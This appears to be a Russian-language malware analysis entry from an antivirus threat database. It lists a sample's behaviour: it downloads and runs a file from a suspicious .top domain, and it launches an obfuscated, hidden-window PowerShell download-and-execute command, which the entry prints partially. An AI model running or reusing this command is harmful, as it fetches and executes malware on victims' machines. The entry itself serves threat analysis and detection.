Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fopeioaas.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^Owe^r^sH^e^l^l^.exE ^-exEcu^tIoNpoL^IC^Y bY^PasS ^-NOPRO^fIl^E -WINdo^WS^t^yl^e^ hI^DDEn (Ne^W-^ob^jecT^ syS^t^Em.nET.We^b^CliEN^t).d^OwN^l^o^a^D^fi^lE^(^'http://www.fopeioaas.t...
Сетевая активность
UDP
- DNS ASK fo###oaas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^Owe^r^sH^e^l^l^.exE ^-exEcu^tIoNpoL^IC^Y bY^PasS ^-NOPRO^fIl^E -WINdo^WS^t^yl^e^ hI^DDEn (Ne^W-^ob^jecT^ syS^t^Em.nET.We^b^CliEN^t).d^OwN^l^o^a^D^fi^lE^(^'http://www.fopeioaas.t...' (со скрытым окном)
